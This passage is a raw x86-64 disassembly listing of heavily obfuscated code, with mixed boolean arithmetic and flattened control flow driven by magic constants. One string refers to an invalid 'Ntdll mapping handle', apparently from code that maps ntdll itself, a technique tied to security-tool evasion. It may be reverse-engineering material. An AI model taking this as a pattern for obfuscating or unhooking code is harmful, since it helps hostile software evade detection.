and cl, bpl
mov edx, ebp
and dl, cl
xor cl, bpl
or cl, dl
mov edx, ecx
and dl, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, dl
mov edx, ebx
and dl, bpl
xor bl, bpl
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
or bl, cl
xor cl, bl
or bl, dl
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r14d, ecx
mov ebp, eax
xor bpl, 1
mov ebx, ebp
mov edx, ecx
xor dl, 1
mov r13d, ecx
mov esi, ecx
xor sil, dl
mov ecx, edx
and sil, r14b
and dl, r14b
mov r15d, ecx
mov byte [rsp + 0x3a], cl
xor r15b, dl
xor dl, 1
or dl, r14b
mov byte [rsp + 0x48], dl
xor r14b, bpl
or r14b, bpl
mov byte [rsp + 0x40], r14b
mov byte [rsp + 0x38], al
and bpl, al
xor bpl, 1
mov edx, eax
xor dl, bpl
or bpl, al
xor bpl, 1
or bpl, dl
xor bpl, 1
or bl, al
mov edx, ebp
or dl, bl
xor dl, 1
xor bl, bpl
mov ebp, edx
and bpl, bl
xor bl, dl
or bl, bpl
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
xor bl, dl
xor bl, 1
and dl, bl
xor dl, 1
mov ebp, edx
xor bpl, bl
or dl, bl
xor dl, 1
or dl, bpl
mov ebx, edx
xor bl, 1
and dl, bl
mov ebp, ebx
and bpl, dl
xor dl, bl
or dl, bpl
mov ebp, edx
xor bpl, 1
and bpl, dl
mov ebx, ebp
and bl, dl
xor bpl, dl
or bpl, bl
mov edx, ebp
xor dl, 1
or bpl, dl
xor bpl, 1
or bpl, dl
or r11b, r10b
mov r10d, r11d
xor r10b, 1
mov edx, r10d
and dl, r11b
mov ebx, r10d
xor bl, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
or r10b, r11b
mov ebx, r10d
xor bl, 1
and r10b, dl
and al, bl
or al, r10b
mov r10d, edx
xor r10b, bl
or bl, dl
xor bl, 1
or bl, r10b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
or bl, al
xor bl, 1
or bl, al
or r13b, cl
mov r10d, esi
xor r10b, 1
mov edx, r13d
mov eax, r10d
mov r11d, r13d
mov ecx, r13d
and cl, r10b
xor r10b, r13b
xor r13b, 1
and dl, r13b
xor r11b, dl
xor dl, 1
or dl, r13b
mov r13d, ebp
xor r13b, 1
and al, sil
xor dl, 1
or dl, r11b
xor al, 1
mov r11d, esi
xor r11b, al
or al, sil
mov esi, ebx
xor sil, 1
xor al, 1
or al, r11b
mov r11d, edx
xor r11b, 1
and r11b, al
xor al, 1
and al, dl
or al, r11b
or r10b, cl
mov ecx, r10d
xor cl, al
xor al, 1
xor cl, 1
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov dl, byte [rsp + 0x48]
xor dl, 1
or dl, r15b
mov byte [rsp + 0x48], dl
mov r15d, ecx
or r15b, al
mov r10d, eax
xor r10b, r15b
and r10b, al
mov r11d, eax
and r11b, r15b
xor r15b, 1
mov edx, r15d
and dl, cl
or dl, r11b
mov r11d, r10d
and r11b, dl
xor dl, r10b
or dl, r11b
mov r10d, edx
xor r10b, 1
xor cl, al
or cl, r15b
mov eax, ecx
xor al, 1
and r10b, dl
and al, cl
mov r11d, edx
and r11b, r10b
xor r10b, dl
or r10b, r11b
mov r11d, ecx
and r11b, al
xor al, cl
or al, r11b
mov r11d, r10d
xor r11b, 1
and r11b, al
xor al, 1
and al, r10b
or al, r11b
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r11d, ecx
xor r11b, 1
mov r14d, ecx
and r14b, r11b
mov edx, r14d
xor dl, 1
mov r15d, r14d
and r15b, dl
mov eax, r15d
xor al, 1
xor r15b, r14b
or al, dl
xor al, 1
or al, r15b
mov r15d, r14d
and r15b, cl
xor r14b, cl
or r14b, r15b
xor r14b, al
mov eax, edx
and al, r11b
xor dl, r11b
or dl, al
mov eax, edx
xor al, r14b
xor r14b, 1
xor al, 1
or r14b, dl
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and r14b, al
xor r14b, 1
mov ecx, eax
xor cl, r14b
or r14b, al
xor r14b, 1
or r14b, cl
and r12b, r8b
mov eax, r12d
not al
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
xor al, 1
or al, cl
xor al, 1
mov r11d, eax
and r11b, r9b
xor al, r9b
or r11b, al
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov eax, r11d
xor al, 1
mov ecx, eax
and cl, r11b
or r11b, al
xor r11b, 1
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor cl, r11b
mov edx, eax
xor dl, r11b
or r11b, al
xor r11b, 1
or r11b, dl
xor r11b, 1
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov ecx, ebp
and cl, r13b
mov eax, ebp
and al, cl
xor cl, bpl
or cl, al
mov r8d, ecx
mov r9d, ecx
xor r8b, 1
mov eax, ebx
and al, sil
mov ecx, ebx
xor cl, al
xor al, 1
or al, sil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or sil, bl
mov edx, esi
xor bl, sil
and bl, sil
xor sil, 1
and dl, al
and cl, sil
or cl, dl
mov edx, eax
xor dl, sil
or sil, al
xor sil, 1
or sil, dl
xor sil, 1
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov byte [rsp + 0x3c], r8b
mov eax, r8d
mov byte [rsp + 0x39], r9b
and al, r9b
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, r8b
xor cl, 1
or al, r9b
xor al, 1
or al, cl
mov r12d, eax
xor r12b, 1
xor bpl, r13b
xor r13b, bpl
xor r13b, 1
and r13b, bpl
mov ebp, esi
xor bpl, 1
mov edx, ebp
xor dl, sil
mov r15d, r12d
and r15b, r13b
xor r13b, 1
mov ecx, r13d
and cl, al
or cl, r15b
mov r8d, ecx
xor r8b, al
and r8b, cl
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
mov r12d, ebp
and r12b, sil
or dl, r12b
xor al, 1
or al, cl
xor al, r13b
mov r15d, eax
xor r15b, 1
mov r13d, r8d
xor r13b, 1
and al, r13b
or r13b, r15b
and r15b, r8b
mov ecx, edx
xor cl, 1
xor r13b, 1
or r15b, al
mov eax, r13d
and al, r15b
xor r15b, r13b
or r15b, al
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebx
xor al, 1
mov r9d, eax
and r9b, bl
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
mov edx, ecx
xor dl, 1
or al, bl
mov ebx, edx
or bl, cl
mov r13d, edx
or r13b, bl
xor bl, cl
xor bl, 1
xor r13b, 1
or r13b, bl
mov ebx, eax
xor bl, 1
mov r8d, eax
and r8b, bl
mov r10d, eax
and r10b, r8b
xor r8b, al
or r8b, r10b
mov r10d, edx
and r10b, cl
xor r10b, 1
mov edi, ecx
xor dil, r10b
or r10b, cl
xor r10b, 1
or r10b, dil
or bl, r9b
xor r10b, r9b
xor r9b, 1
xor al, r9b
xor bl, 1
or bl, al
xor r8b, r9b
xor bl, 1
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, r13b
xor r10b, 1
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor dl, 1
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, bl
xor cl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, r15d
xor al, 1
mov ecx, eax
and cl, r15b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov ebx, edx
xor bl, 1
or cl, bl
and dl, bl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor al, dl
xor al, 1
or dl, r15b
xor dl, 1
or dl, al
mov r15d, ecx
and r15b, dl
xor dl, cl
or r15b, dl
xor r15b, 1
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
mov r8d, ebp
xor r8b, r12b
xor r12b, 1
mov r9d, esi
or r9b, r12b
xor r9b, 1
or r8b, r9b
mov cl, byte [rsp + 0x3c]
mov edx, ecx
mov r13b, byte [rsp + 0x39]
or dl, r13b
mov eax, edx
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, al
mov eax, r8d
xor al, 1
xor bl, 1
xor dl, 1
or dl, bl
mov ecx, r8d
or cl, al
mov r10d, ecx
xor r10b, 1
mov ebx, ecx
and bl, r10b
xor bl, 1
mov edi, r10d
xor dil, bl
or bl, r10b
xor bl, 1
or bl, dil
xor r12b, sil
or r12b, r9b
mov r9d, ebx
xor r9b, 1
and r9b, r12b
xor r12b, 1
and r12b, bl
or r12b, r9b
mov ebx, ecx
and bl, bpl
xor cl, bpl
or cl, bl
mov ebx, ecx
xor bl, r12b
xor r12b, 1
or r12b, cl
xor bl, 1
xor r12b, 1
or r12b, bl
xor r12b, 1
mov ecx, r12d
or cl, dl
xor cl, 1
xor r12b, dl
xor r12b, 1
and r12b, dl
mov edx, ecx
and dl, r12b
xor r12b, cl
mov esi, r14d
xor sil, 1
or r12b, dl
mov r9d, r11d
xor r9b, 1
and r8b, r13b
or r13b, al
and al, byte [rsp + 0x3c]
or al, r8b
mov ecx, r13d
xor cl, al
xor al, 1
xor cl, 1
or al, r13b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
and al, r12b
xor r12b, 1
xor dl, 1
and dl, r12b
or dl, al
mov eax, r12d
and al, cl
xor r12b, cl
or r12b, al
xor r12b, 1
mov eax, edx
and al, r12b
xor r12b, dl
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov ecx, r12d
xor cl, 1
or cl, r12b
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor cl, dl
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, r15d
xor bl, 1
mov edx, ebx
and dl, cl
and al, bl
xor bl, cl
or bl, dl
mov r8d, ebx
xor r8b, 1
and cl, r15b
or cl, al
mov r10d, ecx
xor r10b, bl
mov eax, r8d
and al, bl
mov edi, eax
xor dil, 1
xor al, r8b
or dil, bl
xor dil, 1
or dil, al
xor dil, cl
xor r10b, 1
or cl, r8b
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, dil
xor dil, 1
xor al, 1
or dil, cl
xor dil, 1
or dil, al
mov eax, r9d
and al, r11b
xor al, 1
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, esi
xor r11b, sil
mov ecx, r11d
xor cl, r9b
mov r10d, esi
xor r10b, r9b
or r9b, sil
xor sil, r8b
and r8b, r14b
and dl, al
or dl, r8b
or al, r14b
xor al, 1
or al, sil
mov r8d, eax
xor r8b, dl
xor dl, 1
xor r8b, 1
or dl, al
xor dl, 1
or dl, r8b
and cl, r11b
xor r9b, 1
or r9b, r10b
mov eax, r9d
xor al, cl
xor cl, 1
or cl, r9b
xor cl, 1
xor al, 1
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or bl, al
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r9d, edi
xor r9b, 1
mov eax, r9d
and al, dil
mov r8d, r9d
and r8b, al
xor al, r9b
or al, r8b
mov ecx, eax
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, edi
xor al, r9b
and al, dil
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, r8b
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
or al, dl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor dl, 1
mov eax, edx
xor al, bl
xor dl, al
and dl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, r9b
mov eax, ecx
xor al, 1
and cl, r9b
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov esi, ecx
xor sil, 1
mov r11d, esi
xor r11b, cl
mov r8d, ecx
and r8b, sil
mov r9d, r8d
xor r8b, cl
or cl, sil
xor cl, 1
and r11b, sil
mov r10d, edx
xor r10b, 1
mov ebx, r10d
and bl, dl
mov eax, edx
or al, r10b
xor r10b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r10b
xor bl, 1
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor r11b, cl
xor r11b, 1
and cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, r11b
or cl, r11b
xor cl, 1
or cl, bl
mov ebx, eax
xor bl, 1
and al, bl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov ebx, eax
and al, cl
xor cl, 1
xor bl, 1
and bl, cl
or al, bl
xor r9b, 1
or r9b, sil
xor r9b, 1
or r9b, r8b
xor r9b, dl
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
mov ecx, r9d
xor cl, sil
or sil, r9b
xor sil, 1
or sil, cl
mov ecx, esi
xor cl, 1
and cl, sil
xor cl, 1
mov edx, esi
xor dl, cl
or cl, sil
xor cl, 1
or cl, dl
xor cl, al
mov r8d, ecx
xor r8b, 1
and r8b, al
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov cl, byte [rsp + 0x38]
mov dl, byte [rsp + 0x48]
xor dl, cl
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
mov ebx, edx
xor r9b, 1
mov dl, byte [rsp + 0x3a]
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov dil, byte [rsp + 0x40]
mov ecx, edi
xor cl, 1
and cl, dl
or dl, dil
and dil, al
or dil, cl
xor dil, 1
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
mov edx, ebx
and dl, r9b
mov r11d, r9d
xor r11b, bl
xor bl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, bl
mov r10d, edi
xor r10b, 1
mov eax, edx
mov esi, edx
xor sil, dil
and sil, dl
xor dl, 1
or al, dl
xor al, 1
and r11b, r9b
mov ecx, edi
and cl, r10b
mov ebx, ecx
xor bl, 1
or bl, r10b
or r10b, dil
xor r10b, 1
xor r11b, al
xor r11b, 1
and al, r11b
xor al, 1
mov r9d, eax
xor r9b, r11b
or al, r11b
xor al, 1
or al, r9b
xor cl, dil
xor bl, 1
or bl, cl
xor bl, r10b
mov ecx, r10d
xor cl, dil
or r10b, dil
xor r10b, 1
or r10b, cl
xor r10b, 1
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
xor al, 1
mov ecx, eax
xor cl, r10b
xor cl, 1
and cl, r10b
or al, r10b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor dl, dil
xor sil, 1
xor dl, 1
mov ecx, esi
xor cl, dl
or dl, sil
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r9d, eax
xor r9b, bl
mov ecx, edx
or cl, al
xor al, dl
or al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
mov edx, ecx
xor dl, 1
and dl, r9b
and bl, cl
or bl, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r9d, ecx
xor r9b, 1
mov ebx, eax
xor bl, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
mov ebx, r9d
and bl, al
or bl, dl
mov r10d, ebx
xor r10b, cl
and r10b, bl
xor cl, al
xor cl, 1
and cl, al
xor al, r9b
and al, r9b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov edx, r10d
and cl, al
mov r9d, ecx
and r9b, al
xor cl, al
mov r11d, r10d
xor r11b, al
or al, r10b
xor r10b, 1
and dl, r10b
xor dl, 1
mov ebx, edx
xor bl, r10b
or dl, r10b
xor dl, 1
or dl, bl
or cl, r9b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
xor al, 1
or al, r11b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or bl, r10b
xor bl, al
xor bl, 1
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
and cl, al
and al, dl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov r11d, r8d
xor r11b, 1
mov r10d, eax
or r10b, r9b
mov ebp, r10d
xor bpl, 1
mov esi, ebp
xor sil, al
and sil, bpl
and bpl, al
and al, r9b
xor al, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, r8b
mov edi, eax
xor dil, 1
and al, r8b
mov edx, r11d
or dl, r8b
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r14d, ecx
and r14b, bl
xor cl, bl
or bl, r8b
and r8b, r11b
xor r8b, 1
mov r15d, r8d
xor r15b, r11b
or r8b, r11b
xor dl, r11b
and r11b, dil
or al, r11b
xor al, 1
or al, dil
or cl, r14b
xor r8b, 1
or r8b, r15b
xor r8b, cl
xor r8b, 1
xor bl, 1
or bl, dl
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
and r10b, r9b
or bpl, r10b
mov ecx, esi
and cl, bpl
xor bpl, sil
or bpl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
mov r8d, eax
xor r8b, 1
xor cl, 1
or cl, dl
mov edx, ecx
and cl, bpl
xor bpl, 1
xor dl, 1
and dl, bpl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, eax
and r8b, cl
xor cl, 1
and cl, al
and al, dl
xor bl, dl
or bl, al
or cl, r8b
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, bl
xor bl, 1
and al, bl
or al, dl
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x6a251112
mov ebp, 0x5dcf140f
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x6a251112
jmp 0x140022823
cmp ecx, 0x34ab5bad
je 0x14001918e
cmp ecx, 0x3f3ddac3
jne 0x1400014e0
cmp byte [rsp + 0x147], 0
mov ecx, 0xe39544d
mov eax, 0xeffb7ee1
jmp 0x14001f962
cmp ecx, 0xe9b8079a
je 0x14001a6a9
cmp ecx, 0xeffb7ee1
jne 0x1400014e0
lea rcx, str.____Invalid_Ntdll_mapping_handle
call fcn.140022890
mov ecx, 0xdc267f81
mov dword [rsp + 0x58], 1
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp ecx, 0x1e050ea9
je 0x14001c5f7
cmp ecx, 0x1f90d707
jne 0x1400014e0
cmp byte [rsp + 0x177], 0
mov ecx, 0x339453cc
mov eax, 0x1e050ea9
jmp 0x14001f962
cmp ecx, 0x6a251112
je 0x14001dc1d
cmp ecx, 0x6a4ee5fc
jne 0x1400014e0
mov ecx, 0xae6896ea
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp ecx, 0x9eab6854
je 0x14001f976
cmp ecx, 0xa5a799c1
jne 0x1400014e0
movzx eax, word [rsp + 0x18a]
mov rax, qword [rsp + 0x160]
mov ecx, 0x139c2f6b
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov eax, dword [0x1400c5670]
lea ebp, [rax - 1]
imul ebp, eax
mov ebx, ebp
mov r8d, ebp
mov r9d, ebp
mov r10d, ebp
xor r10d, 0xd68362a1
and r10d, ebp
not ebp
mov esi, ebp
or esi, 0x3bb5edb2
mov edi, esi
not edi
or ebx, 0x84480245
and ebx, 0xad7daa75
mov edx, ebp
and edx, 0x12804582
or edx, ebx
and esi, 0xad7daa75
and edi, 0x40021008
or edi, esi
xor edi, edx
mov edx, edi
not edx
and edx, 0xc44a124d
and edi, 0x3bb5edb2
or edi, edx
mov edx, edi
not edx
and edx, 0xf83a264b
and edi, 0x7c5d9b4
or edi, edx
mov edx, edi
xor edx, 0x40090b4
and edx, 0x5c1ab4bf
xor edi, 0x5bdf6d0b
or edi, edx
mov ebx, edi
not ebx
and r8d, 0x152ba33c
mov edx, ebp
and edx, 0xead45cc3
or edx, r8d
xor edx, 0xb6cee87c
mov esi, ebp
and esi, 0xa3e54b40
or esi, edx
mov edx, esi
not edx
mov ecx, esi
and ecx, 0x19f0f3ce
xor esi, 0xdace146a
and esi, edx
and edx, 0xe60f0c31
or edx, ecx
mov ecx, edx
xor ecx, 0xe60f0c31
mov r8d, edi
and r8d, 0x2531eb95
mov eax, ebx
and eax, 0xdace146a
or eax, r8d
xor edx, 0x19f0f3ce
mov r8d, ecx
and r8d, 0x2531eb95
mov r11d, r8d
and r11d, esi
xor esi, r8d
or esi, r11d
mov r8d, eax
not r8d
and r8d, esi
not esi
and esi, eax
or esi, r8d
mov eax, ebx
and eax, 0x919730da
and edi, 0x6e68cf25
or edi, eax
or ebx, edx
and edx, 0x919730da
and ecx, 0x6e68cf25
or ecx, edx
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xe427534b
and ebx, 0x1bd8acb4
or ebx, eax
mov eax, ebx
xor eax, 0x11108484
mov ecx, esi
not ecx
xor ebx, 0xe427534b
mov edx, ecx
and edx, 0x6ac87970
and esi, 0x9537868f
or esi, edx
or ecx, ebx
and ebx, 0x6ac87970
and eax, 0x9537868f
or eax, ebx
xor eax, esi
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc6e0fb0b
and ecx, 0x391f04f4
or ecx, eax
mov ebx, ecx
xor ebx, 0x301000b4
xor ecx, 0x4208808
or edx, 0xbe398dfe
mov eax, edx
not eax
or ecx, 0x1004201
and ecx, 0xd29ce49
and ebx, 0xb21001b6
or ebx, ecx
and edx, 0xd29ce49
and eax, 0x40c63000
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xe2233941
and eax, 0x1ddcc6be
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x45b31473
and ecx, eax
not eax
and eax, 0x40110011
and esi, 0x5a21462
or esi, eax
mov eax, esi
xor eax, 0xa00442
xor esi, 0xfa5deb9d
mov edx, ecx
not edx
mov ebx, esi
and ebx, 0xaf4b90a1
and eax, 0x40b00452
or eax, ebx
or esi, edx
and edx, 0xaf4b90a1
and ecx, 0x50b46f5e
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0xba4ceb8c
and esi, 0x45b31473
or esi, eax
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xa9a703a9
and eax, 0xb4edeb87
and esi, 0x4b121478
or esi, eax
xor esi, 0x1d4ae82e
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xc3e61bfb
and eax, esi
and esi, 0x3c19e404
or esi, ecx
xor esi, 0x3c19e404
mov ecx, esi
and ecx, eax
xor esi, eax
or esi, ecx
and ebp, 0xc4002021
and r9d, 0x12834280
or r9d, ebp
xor r9d, 0x12834280
mov eax, r9d
and eax, r10d
xor r10d, r9d
or r10d, eax
mov eax, r10d
not eax
and eax, 0x297c9d5e
and r10d, 0xd68362a1
or r10d, eax
mov eax, r10d
xor eax, 0xa9a703a9
and eax, r10d
mov ecx, r10d
not ecx
and ecx, 0x684f5a5a
and r10d, 0x97b0a5a5
or r10d, ecx
mov ecx, r10d
xor ecx, 0x2a06a60c
mov edx, eax
not edx
xor r10d, 0xc1e859f3
mov ebp, edx
and ebp, 0x94990122
and eax, 0x6b66fedd
or eax, ebp
or edx, r10d
and r10d, 0x94990122
and ecx, 0x6b66fedd
or ecx, r10d
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xddd0be7c
and edx, 0x222f4183
or edx, eax
mov r12d, edx
xor r12d, 0xcd00bc50
xor edx, 0xc4003
and edx, 0x10dc422f
and r12d, 0xef23bdd0
or r12d, edx
mov ebp, r12d
xor ebp, 0x85232550
mov r9d, r12d
xor r9d, 0x10dc422f
mov r15d, esi
not r15d
mov ecx, r15d
and ecx, 0x4d07bbf
mov eax, esi
and eax, 0xfb2f8440
or eax, ecx
mov r10d, eax
xor r10d, 0xfb2f8440
xor eax, 0x4d07bbf
mov ecx, r9d
and ecx, 0x7a009a89
and ebp, 0x85ff6576
or ebp, ecx
mov r11d, ebp
xor r11d, 0x4f00016
xor ebp, 0x18000a01
and ebp, 0x990f6f61
and r11d, 0x66f0909e
or r11d, ebp
mov r8d, r11d
xor r8d, 0x990f6f61
mov r14d, r8d
and r8d, eax
and eax, 0xfab16606
xor r11d, 0x66f0909e
mov ecx, r11d
and ecx, 0xe21d63e9
and r14d, 0x1de29c16
or r14d, ecx
mov ecx, r14d
xor ecx, r11d
mov r13d, r10d
xor r13d, r11d
and r13d, r10d
and r11d, r10d
and r10d, 0x54e99f9
or r10d, eax
mov eax, r10d
xor eax, 0x54e99f9
xor r10d, 0xca804000
and r10d, 0xcb8058c9
mov ebx, eax
and ebx, 0x347fa736
or ebx, r10d
xor ebx, 0x299d3b20
and eax, 0xe21d63e9
or eax, ebx
mov edx, eax
not edx
mov ebx, r15d
and ebx, 0x1de29c16
and esi, 0xe21d63e9
or esi, ebx
xor r15d, esi
and r15d, esi
and ecx, r14d
and r9d, 0x1de29c16
xor r12d, 0xd3ede39
or r12d, r9d
mov edi, r12d
not edi
and edi, 0xf15fe8db
and r12d, 0xea01724
or r12d, edi
mov edi, r12d
xor edi, 0xea01724
xor r12d, 0xf15fe8db
mov ebx, r15d
not ebx
and r15d, eax
or eax, ebx
not eax
and ebx, edx
or ebx, r15d
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov eax, ecx
xor eax, r12d
and eax, ecx
and r12d, ecx
not ecx
and ecx, edi
or r12d, ecx
mov ecx, eax
not ecx
mov edx, r12d
not edx
mov edi, ecx
and edi, 0x14926fa0
and eax, 0xeb6d905f
or eax, edi
or ecx, edx
and edx, 0x14926fa0
and r12d, 0xeb6d905f
or r12d, edx
xor r12d, eax
not ecx
or ecx, r12d
mov eax, ebx
not eax
mov edi, ebx
xor edi, 0x7bad46b9
and edi, ebx
mov esi, ecx
mov r9d, ecx
xor r9d, 0x7bad46b9
and r9d, ecx
not ecx
and ecx, 0x95b39ef
and esi, 0xf6a4c610
or esi, ecx
mov ecx, esi
xor ecx, 0xf6a4c610
xor esi, 0x72f67f56
and esi, ecx
or ebx, 0x8452b946
mov ecx, edi
not ecx
mov ebp, ebx
and ebp, 0x65085139
and eax, 0x1aa50680
or eax, ebp
or ebx, ecx
and ecx, 0x65085139
and edi, 0x9af7aec6
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov eax, esi
and eax, r9d
xor r9d, esi
or r9d, eax
mov eax, ebx
not eax
and eax, r9d
not r9d
and r9d, ebx
or r9d, eax
or r11d, r8d
mov ebp, r13d
not ebp
